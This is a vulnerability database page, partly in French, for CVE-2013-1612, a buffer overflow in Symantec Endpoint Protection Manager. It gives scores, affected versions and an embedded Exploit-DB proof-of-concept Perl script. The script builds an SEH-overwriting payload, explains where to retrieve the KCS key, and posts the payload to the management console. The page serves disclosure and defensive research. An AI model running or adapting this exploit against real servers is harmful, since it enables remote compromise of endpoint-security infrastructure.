CVE-2013-1612
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Buffer overflow in secars.dll in the management console in Symantec Endpoint Protection Manager (SEPM) 12.1.x before 12.1.3, and Symantec Endpoint Protection Center (SPC) Small Business Edition 12.0.x, allows remote attackers to execute arbitrary code via unspecified vectors.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.9 | AV:A/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 33056
Date de publication : 2014-04-26 22h00 +00:00
Auteur : st3n
EDB Vérifié : No
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33056-sepm-secars-poc-v0.3.tar.gz
#!/usr/bin/perl -w
# Exploit Title: Symantec Endpoint Protection Manager 12.1.x - SEH Overflow POC
# Date: 31 January 2013
# Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com)
# Vendor Homepage: http://http://www.symantec.com/en/uk/endpoint-protection
# Version: 12.1.0 -> 12.1.2
# Tested on: Windows 2003 Enterprise Edition SP2
# CVE : CVE-2013-1612
# More info on: http://funoverip.net/?p=1693
#
#=====================================================================================
#
# This POC code overwrite EIP with "CCCCCCCC"
#
# About KCS Key: That key is used to obfuscate traffic between client and server.
# The key is generated during SEPM installation.
# We need that key to talk with the SEPM server..
#
# Where to find KCS Key ?
# On a managed client station. Search for "Kcs" inside:
#
# - Win7/Vista/W2k8/and more :
# C:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\CurrentVersion\\Data\\Config\\SyLink.xml
# - Windows XP :
# C:\\Document & Settings\\All Users\\Application Data\\Symantec\\Symantec Endpoint Protection\\
# CurrentVersion\\Data\\Config\\SyLink.xml
#
# On server side, check the logs:
# C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\data\\inbox\\log\\ersecreg.log
#=====================================================================================
use warnings;
use strict;
use IO::Socket::INET;
use SEPM::SEPM;
# SEP Manager host/ip
my $host = "192.168.60.186";
my $port = 8014;
# Kcs key
my $Kcs_hex = "85FB05B288B45D92447A3EDCBEFC434E";
# ---- config end -----
# flush after every write
$| = 1;
# Send HTTP request function
sub send_request {
my $param = shift; # URL parameters
my $post_data = shift; # POST DATA
my $sock = IO::Socket::INET->new("$host:$port");
if($sock){
print "Connected.. \n";
# HTTP request
my $req =
"POST /secars/secars.dll?h=$param HTTP/1.0\r\n" .
"User-Agent: Smc\r\n" .
"Host: $host\r\n" .
"Content-Length: " . length($post_data) . "\r\n" .
"\r\n" .
$post_data ;
# Sending
print $sock $req;
# Read HTTP response
my $resp = '';
while(<$sock>){ $resp .=$_; }
#print $resp;
if($resp =~ /400 Bad Request/) {
print "\nERROR: Got '400 Bad Request' from the server. Wrong Kcs key ? Wrong SEP version ?\n";
}
close $sock;
}
}
# SEP object
my $sep = SEPM::SEPM->new();
print "[*] Target: $host:$port\n";
print "[*] KCS Key: $Kcs_hex\n";
# SEPM object for obfuscation
print "[*] Generating master encryption key\n";
$sep->genkey($Kcs_hex);
# Obfuscate URL parameters
print "[*] Encrypting URI\n";
my $h = $sep->obfuscate("l=9&action=26");
# The evil buff
print "[*] Building evil buffer\n";
my $buf =
"foo=[hex]" . # [hex] call the vulnerable parsing function
"F" x 1288 . # Junk
"B" x 8 . # Pointer to next SEH record
"CCCCCCCC". # SEH Handler, will overwrite EIP register
"D" x 500; # Trigger "Memory Access Violation" exception
# Sending request
print "[*] Sending HTTP request\n";
send_request($h, # URL parameters
$buf # post data
);
print "[*] Done\n";
Products Mentioned
Configuraton 0
Symantec>>Endpoint_protection_manager >> Version 12.1.0
- Symantec>>Endpoint_protection_manager >> Version 12.1.0 (Open CPE detail)
Symantec>>Endpoint_protection_manager >> Version 12.1.1
- Symantec>>Endpoint_protection_manager >> Version 12.1.1 (Open CPE detail)
Symantec>>Endpoint_protection_manager >> Version 12.1.2
- Symantec>>Endpoint_protection_manager >> Version 12.1.2 (Open CPE detail)
Configuraton 0
Symantec>>Endpoint_protection_center >> Version 12.0.0
- Symantec>>Endpoint_protection_center >> Version 12.0.0 (Open CPE detail)
Symantec>>Endpoint_protection_center >> Version 12.0.1
- Symantec>>Endpoint_protection_center >> Version 12.0.1 (Open CPE detail)
